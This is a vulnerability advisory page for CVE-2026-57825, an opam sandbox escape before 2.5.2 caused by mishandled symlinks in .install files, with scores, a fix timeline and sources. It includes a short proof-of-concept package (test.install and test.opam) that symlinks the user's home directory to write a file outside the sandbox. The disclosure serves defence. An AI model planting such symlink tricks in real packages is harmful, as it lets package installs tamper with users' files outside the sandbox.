CVE-2026-57825
JSON

5.7medium

opam install sandbox escape using symlinks

Severity
5.7medium CVSS:3.1 by mitre
Exploit likelihood
0.31% (higher than 26% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
mitre
Also known as
OSEC-2026-10

Description

In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.

Affected

Product or packageVersionsReported by
OCaml opambefore 2.5.2CVE List
opam-devel (opam)before 2.5.2OCaml Security Advisories
https://github.com/ocaml/opambefore 09c3df1ffb33cc0a09b3a81f36bb74898dce2120, before 248f8400e5ecb6ecbd7a672448477d08cedfdc24OCaml Security Advisories

All scores

mitre5.7medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
OCaml Security Advisories5.7medium CVSS:3.0CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Classification

CWE-61

SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.

What each source says

CVE List

In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.

OCaml Security Advisories

Summary

Installing files through .install files do not check symlinks resolution of the target path, and so can bypass sandboxing.

Exploit

Let's imagine a test package whose test.install file looks like the following:

share_root: [
  "test" {"blah/pwnd"}
]

and test.opam file:

opam-version: "2.0"
install: ["sh" "-c" "ln -s \"$HOME\" \"%{share}%/blah\""]

Installing this package will write the pwnd file in the home directory of the current user, bypassing sandboxing.

Timeline

  • 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team
  • 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks
  • 2026-07-08: opam 2.5.2 was released with the fix

References

Sources

SourceRecordLicence
CVE ListCVE-2026-57825 changed 2026-09-14CVE Terms of Use
OCaml Security AdvisoriesOSEC-2026-10 changed 2026-11-06CC0-1.0
NVDCVE-2026-57825 changed 2026-09-14Public domain